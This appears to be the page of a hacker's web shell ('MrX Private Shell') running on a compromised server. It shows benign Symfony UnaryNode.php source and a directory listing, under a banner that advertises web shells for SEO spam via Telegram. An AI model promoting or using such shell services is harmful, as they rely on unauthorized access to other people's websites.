__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <[email protected]> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\ExpressionLanguage\Node; use Symfony\Component\ExpressionLanguage\Compiler; /** * @author Fabien Potencier <[email protected]> * * @internal */ class UnaryNode extends Node { private const OPERATORS = [ '!' => '!', 'not' => '!', '+' => '+', '-' => '-', ]; public function __construct(string $operator, Node $node) { parent::__construct( ['node' => $node], ['operator' => $operator] ); } public function compile(Compiler $compiler): void { $compiler ->raw('(') ->raw(self::OPERATORS[$this->attributes['operator']]) ->compile($this->nodes['node']) ->raw(')') ; } public function evaluate(array $functions, array $values): mixed { $value = $this->nodes['node']->evaluate($functions, $values); return match ($this->attributes['operator']) { 'not', '!' => !$value, '-' => -$value, default => $value, }; } public function toArray(): array { return ['(', $this->attributes['operator'].' ', $this->nodes['node'], ')']; } }
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ArgumentsNode.php | File | 832 B | 0644 |
|
| ArrayNode.php | File | 2.7 KB | 0644 |
|
| BinaryNode.php | File | 6.27 KB | 0644 |
|
| ConditionalNode.php | File | 1.41 KB | 0644 |
|
| ConstantNode.php | File | 2.09 KB | 0644 |
|
| FunctionNode.php | File | 1.64 KB | 0644 |
|
| GetAttrNode.php | File | 6.03 KB | 0644 |
|
| NameNode.php | File | 942 B | 0644 |
|
| Node.php | File | 2.88 KB | 0644 |
|
| NullCoalesceNode.php | File | 1.65 KB | 0644 |
|
| UnaryNode.php | File | 1.43 KB | 0644 |
|